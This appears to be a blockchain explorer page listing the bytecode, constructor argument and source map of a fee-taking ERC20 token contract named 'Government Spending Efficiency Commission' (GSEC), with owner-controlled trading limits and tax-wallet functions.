1158015611a85573d6000803e3d6000fd5b50506019805460ff1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611ad1573d6000803e3d6000fd5b5050565b600080611ae28385611f05565b9050838110156118c85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610600565b60006118c883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061180c565b60008183611b975760405162461bcd60e51b81526004016106009190611ba4565b50600061183d8486611f2b565b602081526000825180602084015260005b81811015611bd25760208186018101516040868401015201611bb5565b506000604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461064257600080fd5b60008060408385031215611c1a57600080fd5b8235611c2581611bf2565b946020939093013593505050565b600080600060608486031215611c4857600080fd5b8335611c5381611bf2565b92506020840135611c6381611bf2565b929592945050506040919091013590565b600060208284031215611c8657600080fd5b81356118c881611bf2565b600060208284031215611ca357600080fd5b5035919050565b801515811461064257600080fd5b600060208284031215611cca57600080fd5b81356118c881611caa565b60008060408385031215611ce857600080fd5b8235611cf381611bf2565b91506020830135611d0381611bf2565b809150509250929050565b60008060408385031215611d2157600080fd5b8235611c2581611caa565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6001815b6001841115611db257808504811115611d9657611d96611d61565b6001841615611da457908102905b60019390931c928002611d7b565b935093915050565b600082611dc9575060016105d0565b81611dd6575060006105d0565b8160018114611dec5760028114611df657611e12565b60019150506105d0565b60ff841115611e0757611e07611d61565b50506001821b6105d0565b5060208310610133831016604e8410600b8410161715611e35575081810a6105d0565b611e426000198484611d77565b8060001904821115611e5657611e56611d61565b029392505050565b60006118c860ff841683611dba565b80820281158282048414176105d0576105d0611d61565b600060208284031215611e9657600080fd5b81516118c881611bf2565b600080600060608486031215611eb657600080fd5b5050815160208301516040909301519094929350919050565b600060208284031215611ee157600080fd5b81516118c881611caa565b600060018201611efe57611efe611d61565b5060010190565b808201808211156105d0576105d0611d61565b818103818111156105d0576105d0611d61565b600082611f4857634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a0820187835286602084015260a0604084015280865180835260c08501915060208801925060005b81811015611fb55783516001600160a01b0316835260209384019390920191600101611f8e565b50506001600160a01b03959095166060840152505060800152939250505056fe476f7665726e6d656e74205370656e64696e6720456666696369656e637920436f6d6d697373696f6e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204253601744f4d92a0b391822a50aab4bb73a701cf0fcdb791bb25fded2a5a73b64736f6c634300081a0033000000000000000000000000edbf34a5ffa43749d9bf97935afae2faede037f1

Deployed Bytecode

0x6080604052600436106101c65760003560e01c80637b7cfc01116100f7578063a9059cbb11610095578063dd62ed3e11610064578063dd62ed3e146104e9578063e68d0b051461052f578063f2fde38b1461054f578063f5b3c3bf1461056f57600080fd5b8063a9059cbb14610473578063bf474bed14610493578063c4e2b619146104a9578063d45cce65146104c957600080fd5b80638f9a55c0116100d15780638f9a55c0146103f057806390b605491461040657806390d49b9d1461042657806395d89b411461044657600080fd5b80637b7cfc01146103a75780637d1db4a5146103bc5780638da5cb5b146103d257600080fd5b8063313ce56711610164578063622565891161013e57806362256589146103275780636e4636671461033c57806370a082311461035c578063715018a61461039257600080fd5b8063313ce567146102b357806349bd5a5e146102cf57806353bc13dc1461030757600080fd5b80630faee56f116101a05780630faee56f1461024457806310c435aa1461026857806318160ddd1461027e57806323b872dd1461029357600080fd5b806306fdde03146101d2578063095ea7b3146101fd5780630f144a481461022d57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101e761059f565b6040516101f49190611ba4565b60405180910390f35b34801561020957600080fd5b5061021d610218366004611c07565b6105bf565b60405190151581526020016101f4565b34801561023957600080fd5b506102426105d6565b005b34801561025057600080fd5b5061025a60155481565b6040519081526020016101f4565b34801561027457600080fd5b5061025a60185481565b34801561028a57600080fd5b5061025a610645565b34801561029f57600080fd5b5061021d6102ae366004611c33565b610666565b3480156102bf57600080fd5b50604051600981526020016101f4565b3480156102db57600080fd5b506017546102ef906001600160a01b031681565b6040516001600160a01b0390911681526020016101f4565b34801561031357600080fd5b50610242610322366004611c74565b6106cf565b34801561033357600080fd5b5061024261071d565b34801561034857600080fd5b50610242610357366004611c91565b6107cf565b34801561036857600080fd5b5061025a610377366004611c74565b6001600160a01b031660009081526001602052604090205490565b34801561039e57600080fd5b506102426107fe565b3480156103b357600080fd5b50610242610872565b3480156103c857600080fd5b5061025a60125481565b3480156103de57600080fd5b506000546001600160a01b03166102ef565b3480156103fc57600080fd5b5061025a60135481565b34801561041257600080fd5b50610242610421366004611cb8565b610c75565b34801561043257600080fd5b50610242610441366004611c74565b610cbb565b34801561045257600080fd5b506040805180820190915260048152634753454360e01b60208201526101e7565b34801561047f57600080fd5b5061021d61048e366004611c07565b610d07565b34801561049f57600080fd5b5061025a60145481565b3480156104b557600080fd5b506102426104c4366004611c07565b610d14565b3480156104d557600080fd5b5060195461021d9062010000900460ff1681565b3480156104f557600080fd5b5061025a610504366004611cd5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561053b57600080fd5b5061024261054a366004611d0e565b610dba565b34801561055b57600080fd5b5061024261056a366004611c74565b610e02565b34801561057b57600080fd5b5061021d61058a366004611c74565b60046020526000908152604090205460ff1681565b6060604051806060016040528060298152602001611fd660299139905090565b60006105cc338484610eec565b5060015b92915050565b6000546001600160a01b031633146106095760405162461bcd60e51b815260040161060090611d2c565b60405180910390fd5b6006546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610642573d6000803e3d6000fd5b50565b60006106536009600a611e5e565b61066190633b9aca00611e6d565b905090565b6000610673848484611010565b6106c584336106c085604051806060016040528060288152602001611fff602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061180c565b610eec565b5060019392505050565b6000546001600160a01b031633146106f95760405162461bcd60e51b815260040161060090611d2c565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b031633146107475760405162461bcd60e51b815260040161060090611d2c565b6107536009600a611e5e565b61076190633b9aca00611e6d565b6012556107706009600a611e5e565b61077e90633b9aca00611e6d565b6013557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107ae6009600a611e5e565b6107bc90633b9aca00611e6d565b60405190815260200160405180910390a1565b6000546001600160a01b031633146107f95760405162461bcd60e51b815260040161060090611d2c565b601855565b6000546001600160a01b031633146108285760405162461bcd60e51b815260040161060090611d2c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461089c5760405162461bcd60e51b815260040161060090611d2c565b601754600160a01b900460ff16156108f65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610600565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561093f9030906109316009600a611e5e565b6106c090633b9aca00611e6d565b601660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610992573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b69190611e84565b6001600160a01b031663c9c6539630601660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3c9190611e84565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aad9190611e84565b601780546001600160a01b039283166001600160a01b0319909116811782556000908152600460209081526040808320805460ff199081166001908117909255945486168452600390925290912080549092161790556016541663f305d7194730610b2d816001600160a01b031660009081526001602052604090205490565b600080610b426000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610baa573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bcf9190611ea1565b505060175460165460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610c28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4c9190611ecf565b506019805461ff0019166101001790556017805460ff60a01b1916600160a01b17905543600755565b6000546001600160a01b03163314610c9f5760405162461bcd60e51b815260040161060090611d2c565b60198054911515620100000262ff000019909216919091179055565b6000546001600160a01b03163314610ce55760405162461bcd60e51b815260040161060090611d2c565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b60006105cc338484611010565b6000546001600160a01b03163314610d3e5760405162461bcd60e51b815260040161060090611d2c565b60065460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610d91573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db59190611ecf565b505050565b6000546001600160a01b03163314610de45760405162461bcd60e51b815260040161060090611d2c565b601980549215156101000261ff001990931692909217909155601555565b6000546001600160a01b03163314610e2c5760405162461bcd60e51b815260040161060090611d2c565b6001600160a01b038116610e915760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610600565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610f4e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610600565b6001600160a01b038216610faf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610600565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110745760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610600565b6001600160a01b0382166110d65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610600565b600081116111385760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610600565b60008161114d6000546001600160a01b031690565b6001600160a01b0316856001600160a01b03161415801561117c57506000546001600160a01b03858116911614155b156116c8576111ad60646111a7600c54600f541161119c576008546111a0565b600a545b8690611846565b906118cf565b915060075443036112385743600090815260056020526040902054603c116112175760405162461bcd60e51b815260206004820181905260248201527f457863656564732062757973206f6e2074686520666972737420626c6f636b2e6044820152606401610600565b43600090815260056020526040812080549161123283611eec565b91905055505b6001600160a01b03851660009081526004602052604090205460ff16801561126e57506016546001600160a01b03858116911614155b801561129357506001600160a01b03841660009081526003602052604090205460ff16155b1561137b576012548311156112ea5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610600565b6013548361130d866001600160a01b031660009081526001602052604090205490565b6113179190611f05565b11156113655760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610600565b600f805490600061137583611eec565b91905055505b6001600160a01b03841660009081526004602052604090205460ff161580156113bd57506001600160a01b03841660009081526003602052604090205460ff16155b1561143d57601354836113e5866001600160a01b031660009081526001602052604090205490565b6113ef9190611f05565b111561143d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610600565b6001600160a01b03841660009081526004602052604090205460ff16801561146e57506001600160a01b0385163014155b1561149b5761149860646111a7600d54600f541161148e576009546111a0565b600b548690611846565b91505b6001600160a01b03851630148015906114cc57506001600160a01b03851660009081526003602052604090205460ff165b1561151957600060125484116114e457506016611517565b600d54600f54116114f7576009546114fb565b600b545b6012549091506115149061150f8484611846565b611911565b91505b505b6001600160a01b03851660009081526004602052604090205460ff1615801561155b57506001600160a01b03841660009081526004602052604090205460ff16155b801561157057506001600160a01b0385163014155b1561157a57600091505b3060009081526001602052604090205460195462010000900460ff1680156115a5575060195460ff16155b80156115c957506001600160a01b03851660009081526004602052604090205460ff165b80156115dc5750601954610100900460ff165b80156115eb5750600e54600f54115b1561164b576011544311156116005760006010555b6014548111156116225761162261161d8561150f84601554611911565b611926565b4761162c47611a97565b6010805490600061163c83611eec565b909155505043601155506116c6565b60195460ff1615801561167657506001600160a01b03851660009081526004602052604090205460ff165b80156116895750601954610100900460ff165b80156116985750600e54600f54115b156116c6576014548111156116ba576116ba61161d8561150f84601554611911565b476116c447611a97565b505b505b811561174257306000908152600160205260409020546116e89083611ad5565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117399086815260200190565b60405180910390a35b6001600160a01b0385166000908152600160205260409020546117659082611b34565b6001600160a01b0386166000908152600160205260409020556117aa61178b8484611b34565b6001600160a01b03861660009081526001602052604090205490611ad5565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6117f48686611b34565b60405190815260200160405180910390a35050505050565b600081848411156118305760405162461bcd60e51b81526004016106009190611ba4565b50600061183d8486611f18565b95945050505050565b600082600003611858575060006105d0565b60006118648385611e6d565b9050826118718583611f2b565b146118c85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610600565b9392505050565b60006118c883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b76565b600081831161192057826118c8565b50919050565b6019805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061196857611968611f4d565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156119c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119e59190611e84565b816001815181106119f8576119f8611f4d565b6001600160a01b039283166020918202929092010152601654611a1e9130911684610eec565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a57908590600090869030904290600401611f63565b600060405180830381600087803b158015611a7157600080fd5b505af1158015611a85573d6000803e3d6000fd5b50506019805460ff1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611ad1573d6000803e3d6000fd5b5050565b600080611ae28385611f05565b9050838110156118c85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610600565b60006118c883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061180c565b60008183611b975760405162461bcd60e51b81526004016106009190611ba4565b50600061183d8486611f2b565b602081526000825180602084015260005b81811015611bd25760208186018101516040868401015201611bb5565b506000604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461064257600080fd5b60008060408385031215611c1a57600080fd5b8235611c2581611bf2565b946020939093013593505050565b600080600060608486031215611c4857600080fd5b8335611c5381611bf2565b92506020840135611c6381611bf2565b929592945050506040919091013590565b600060208284031215611c8657600080fd5b81356118c881611bf2565b600060208284031215611ca357600080fd5b5035919050565b801515811461064257600080fd5b600060208284031215611cca57600080fd5b81356118c881611caa565b60008060408385031215611ce857600080fd5b8235611cf381611bf2565b91506020830135611d0381611bf2565b809150509250929050565b60008060408385031215611d2157600080fd5b8235611c2581611caa565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6001815b6001841115611db257808504811115611d9657611d96611d61565b6001841615611da457908102905b60019390931c928002611d7b565b935093915050565b600082611dc9575060016105d0565b81611dd6575060006105d0565b8160018114611dec5760028114611df657611e12565b60019150506105d0565b60ff841115611e0757611e07611d61565b50506001821b6105d0565b5060208310610133831016604e8410600b8410161715611e35575081810a6105d0565b611e426000198484611d77565b8060001904821115611e5657611e56611d61565b029392505050565b60006118c860ff841683611dba565b80820281158282048414176105d0576105d0611d61565b600060208284031215611e9657600080fd5b81516118c881611bf2565b600080600060608486031215611eb657600080fd5b5050815160208301516040909301519094929350919050565b600060208284031215611ee157600080fd5b81516118c881611caa565b600060018201611efe57611efe611d61565b5060010190565b808201808211156105d0576105d0611d61565b818103818111156105d0576105d0611d61565b600082611f4857634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a0820187835286602084015260a0604084015280865180835260c08501915060208801925060005b81811015611fb55783516001600160a01b0316835260209384019390920191600101611f8e565b50506001600160a01b03959095166060840152505060800152939250505056fe476f7665726e6d656e74205370656e64696e6720456666696369656e637920436f6d6d697373696f6e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204253601744f4d92a0b391822a50aab4bb73a701cf0fcdb791bb25fded2a5a73b64736f6c634300081a0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000edbf34a5ffa43749d9bf97935afae2faede037f1

-----Decoded View---------------
Arg [0] : _w (address): 0xeDbF34A5ffa43749d9bF97935AfAE2fAeDe037f1

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000edbf34a5ffa43749d9bf97935afae2faede037f1


Deployed Bytecode Sourcemap

3813:9885:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5889:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6722:161;;;;;;;;;;-1:-1:-1;6722:161:0;;;;;:::i;:::-;;:::i;:::-;;;1219:14:1;;1212:22;1194:41;;1182:2;1167:18;6722:161:0;1054:187:1;12186:111:0;;;;;;;;;;;;;:::i;:::-;;5078:41;;;;;;;;;;;;;;;;;;;1392:25:1;;;1380:2;1365:18;5078:41:0;1246:177:1;5243:32:0;;;;;;;;;;;;;;;;6166:95;;;;;;;;;;;;;:::i;6891:313::-;;;;;;;;;;-1:-1:-1;6891:313:0;;;;;:::i;:::-;;:::i;6075:83::-;;;;;;;;;;-1:-1:-1;6075:83:0;;4691:1;2083:36:1;;2071:2;2056:18;6075:83:0;1941:184:1;5177:28:0;;;;;;;;;;-1:-1:-1;5177:28:0;;;;-1:-1:-1;;;;;5177:28:0;;;;;;-1:-1:-1;;;;;2294:32:1;;;2276:51;;2264:2;2249:18;5177:28:0;2130:203:1;7555:96:0;;;;;;;;;;-1:-1:-1;7555:96:0;;;;;:::i;:::-;;:::i;12585:158::-;;;;;;;;;;;;;:::i;11973:102::-;;;;;;;;;;-1:-1:-1;11973:102:0;;;;;:::i;:::-;;:::i;6269:119::-;;;;;;;;;;-1:-1:-1;6269:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6362:18:0;6335:7;6362:18;;;:9;:18;;;;;;;6269:119;2644:148;;;;;;;;;;;;;:::i;12851:807::-;;;;;;;;;;;;;:::i;4913:54::-;;;;;;;;;;;;;;;;2430:79;;;;;;;;;;-1:-1:-1;2468:7:0;2495:6;-1:-1:-1;;;;;2495:6:0;2430:79;;4974:55;;;;;;;;;;;;;;;;12083:95;;;;;;;;;;-1:-1:-1;12083:95:0;;;;;:::i;:::-;;:::i;12461:116::-;;;;;;;;;;-1:-1:-1;12461:116:0;;;;;:::i;:::-;;:::i;5980:87::-;;;;;;;;;;-1:-1:-1;6052:7:0;;;;;;;;;;;;-1:-1:-1;;;6052:7:0;;;;5980:87;;6396:167;;;;;;;;;;-1:-1:-1;6396:167:0;;;;;:::i;:::-;;:::i;5036:35::-;;;;;;;;;;;;;;;;12305:148;;;;;;;;;;-1:-1:-1;12305:148:0;;;;;:::i;:::-;;:::i;5355:29::-;;;;;;;;;;-1:-1:-1;5355:29:0;;;;;;;;;;;6571:143;;;;;;;;;;-1:-1:-1;6571:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6679:18:0;;;6652:7;6679:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6571:143;11822;;;;;;;;;;-1:-1:-1;11822:143:0;;;;;:::i;:::-;;:::i;2800:244::-;;;;;;;;;;-1:-1:-1;2800:244:0;;;;;:::i;:::-;;:::i;4072:43::-;;;;;;;;;;-1:-1:-1;4072:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5889:83;5926:13;5959:5;;;;;;;;;;;;;;;;;5952:12;;5889:83;:::o;6722:161::-;6797:4;6814:39;265:10;6837:7;6846:6;6814:8;:39::i;:::-;-1:-1:-1;6871:4:0;6722:161;;;;;:::o;12186:111::-;2557:6;;-1:-1:-1;;;;;2557:6:0;265:10;2557:22;2549:67;;;;-1:-1:-1;;;2549:67:0;;;;;;;:::i;:::-;;;;;;;;;12246:10:::1;::::0;12238:51:::1;::::0;-1:-1:-1;;;;;12246:10:0;;::::1;::::0;12267:21:::1;12238:51:::0;::::1;;;::::0;12246:10:::1;12238:51:::0;12246:10;12238:51;12267:21;12246:10;12238:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12186:111::o:0;6166:95::-;6219:7;4750:13;4691:1;4750:2;:13;:::i;:::-;4734:29;;:13;:29;:::i;:::-;6239:14;;6166:95;:::o;6891:313::-;6989:4;7006:36;7016:6;7024:9;7035:6;7006:9;:36::i;:::-;7053:121;7062:6;265:10;7084:89;7122:6;7084:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7084:19:0;;;;;;:11;:19;;;;;;;;265:10;7084:33;;;;;;;;;;:37;:89::i;:::-;7053:8;:121::i;:::-;-1:-1:-1;7192:4:0;6891:313;;;;;:::o;7555:96::-;2557:6;;-1:-1:-1;;;;;2557:6:0;265:10;2557:22;2549:67;;;;-1:-1:-1;;;2549:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7620:16:0::1;;::::0;;;:10:::1;:16;::::0;;;;:23;;-1:-1:-1;;7620:23:0::1;7639:4;7620:23;::::0;;7555:96::o;12585:158::-;2557:6;;-1:-1:-1;;;;;2557:6:0;265:10;2557:22;2549:67;;;;-1:-1:-1;;;2549:67:0;;;;;;;:::i;:::-;4750:13:::1;4691:1;4750:2;:13;:::i;:::-;4734:29;::::0;:13:::1;:29;:::i;:::-;12637:12;:22:::0;4750:13:::1;4691:1;4750:2;:13;:::i;:::-;4734:29;::::0;:13:::1;:29;:::i;:::-;12670:14;:22:::0;12708:27:::1;4750:13;4691:1;4750:2;:13;:::i;:::-;4734:29;::::0;:13:::1;:29;:::i;:::-;12708:27;::::0;1392:25:1;;;1380:2;1365:18;12708:27:0::1;;;;;;;12585:158::o:0;11973:102::-;2557:6;;-1:-1:-1;;;;;2557:6:0;265:10;2557:22;2549:67;;;;-1:-1:-1;;;2549:67:0;;;;;;;:::i;:::-;12045:13:::1;:22:::0;11973:102::o;2644:148::-;2557:6;;-1:-1:-1;;;;;2557:6:0;265:10;2557:22;2549:67;;;;-1:-1:-1;;;2549:67:0;;;;;;;:::i;:::-;2751:1:::1;2735:6:::0;;2714:40:::1;::::0;-1:-1:-1;;;;;2735:6:0;;::::1;::::0;2714:40:::1;::::0;2751:1;;2714:40:::1;2782:1;2765:19:::0;;-1:-1:-1;;;;;;2765:19:0::1;::::0;;2644:148::o;12851:807::-;2557:6;;-1:-1:-1;;;;;2557:6:0;265:10;2557:22;2549:67;;;;-1:-1:-1;;;2549:67:0;;;;;;;:::i;:::-;12914:11:::1;::::0;-1:-1:-1;;;12914:11:0;::::1;;;12913:12;12905:47;;;::::0;-1:-1:-1;;;12905:47:0;;6249:2:1;12905:47:0::1;::::0;::::1;6231:21:1::0;6288:2;6268:18;;;6261:30;6327:25;6307:18;;;6300:53;6370:18;;12905:47:0::1;6047:347:1::0;12905:47:0::1;12963:15;:80:::0;;-1:-1:-1;;;;;;12963:80:0::1;13000:42;12963:80:::0;;::::1;::::0;;;13054:58:::1;::::0;13071:4:::1;::::0;4750:13:::1;4691:1;4750:2;:13;:::i;:::-;4734:29;::::0;:13:::1;:29;:::i;13054:58::-;13157:15;;;;;;;;;-1:-1:-1::0;;;;;13157:15:0::1;-1:-1:-1::0;;;;;13157:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13139:55:0::1;;13203:4;13210:15;;;;;;;;;-1:-1:-1::0;;;;;13210:15:0::1;-1:-1:-1::0;;;;;13210:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13139:94;::::0;-1:-1:-1;;;;;;13139:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6847:32:1;;;13139:94:0::1;::::0;::::1;6829:51:1::0;6916:32;;6896:18;;;6889:60;6802:18;;13139:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13123:13;:110:::0;;-1:-1:-1;;;;;13123:110:0;;::::1;-1:-1:-1::0;;;;;;13123:110:0;;::::1;::::0;::::1;::::0;;:13:::1;13244:34:::0;;;:10:::1;:34;::::0;;;;;;;:41;;-1:-1:-1;;13244:41:0;;::::1;13123:110:::0;13244:41;;::::1;::::0;;;13312:13;;;::::1;13296:31:::0;;:7:::1;:31:::0;;;;;;:38;;;;::::1;;::::0;;13345:15:::1;::::0;::::1;:31;13384:21;13415:4;13421:24;13415:4:::0;-1:-1:-1;;;;;6362:18:0;6335:7;6362:18;;;:9;:18;;;;;;;6269:119;13421:24:::1;13446:1;13448::::0;13450:7:::1;2468::::0;2495:6;-1:-1:-1;;;;;2495:6:0;;2430:79;13450:7:::1;13345:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13345:129:0;;;-1:-1:-1;;;;;7281:32:1;;;13345:129:0::1;::::0;::::1;7263:51:1::0;7330:18;;;7323:34;;;;7373:18;;;7366:34;;;;7416:18;;;7409:34;7480:32;;;7459:19;;;7452:61;13458:15:0::1;7529:19:1::0;;;7522:35;7235:19;;13345:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13492:13:0::1;::::0;13523:15:::1;::::0;13485:71:::1;::::0;-1:-1:-1;;;13485:71:0;;-1:-1:-1;;;;;13523:15:0;;::::1;13485:71;::::0;::::1;8203:51:1::0;-1:-1:-1;;8270:18:1;;;8263:34;13492:13:0;::::1;::::0;-1:-1:-1;13485:29:0::1;::::0;8176:18:1;;13485:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13567:11:0::1;:18:::0;;-1:-1:-1;;13567:18:0::1;;;::::0;;13596:11:::1;:18:::0;;-1:-1:-1;;;;13596:18:0::1;-1:-1:-1::0;;;13596:18:0::1;::::0;;13638:12:::1;13625:10;:25:::0;12851:807::o;12083:95::-;2557:6;;-1:-1:-1;;;;;2557:6:0;265:10;2557:22;2549:67;;;;-1:-1:-1;;;2549:67:0;;;;;;;:::i;:::-;12150:10:::1;:20:::0;;;::::1;;::::0;::::1;-1:-1:-1::0;;12150:20:0;;::::1;::::0;;;::::1;::::0;;12083:95::o;12461:116::-;2557:6;;-1:-1:-1;;;;;2557:6:0;265:10;2557:22;2549:67;;;;-1:-1:-1;;;2549:67:0;;;;;;;:::i;:::-;12535:10:::1;:34:::0;;-1:-1:-1;;;;;;12535:34:0::1;-1:-1:-1::0;;;;;12535:34:0;;;::::1;::::0;;;::::1;::::0;;12461:116::o;6396:167::-;6474:4;6491:42;265:10;6515:9;6526:6;6491:9;:42::i;12305:148::-;2557:6;;-1:-1:-1;;;;;2557:6:0;265:10;2557:22;2549:67;;;;-1:-1:-1;;;2549:67:0;;;;;;;:::i;:::-;12425:10:::1;::::0;12397:48:::1;::::0;-1:-1:-1;;;12397:48:0;;-1:-1:-1;;;;;12425:10:0;;::::1;12397:48;::::0;::::1;8203:51:1::0;8270:18;;;8263:34;;;12397:27:0;;::::1;::::0;::::1;::::0;8176:18:1;;12397:48:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12305:148:::0;;:::o;11822:143::-;2557:6;;-1:-1:-1;;;;;2557:6:0;265:10;2557:22;2549:67;;;;-1:-1:-1;;;2549:67:0;;;;;;;:::i;:::-;11905:11:::1;:21:::0;;;::::1;;;;-1:-1:-1::0;;11905:21:0;;::::1;::::0;;;::::1;::::0;;;11937:11:::1;:20:::0;11822:143::o;2800:244::-;2557:6;;-1:-1:-1;;;;;2557:6:0;265:10;2557:22;2549:67;;;;-1:-1:-1;;;2549:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2889:22:0;::::1;2881:73;;;::::0;-1:-1:-1;;;2881:73:0;;9047:2:1;2881:73:0::1;::::0;::::1;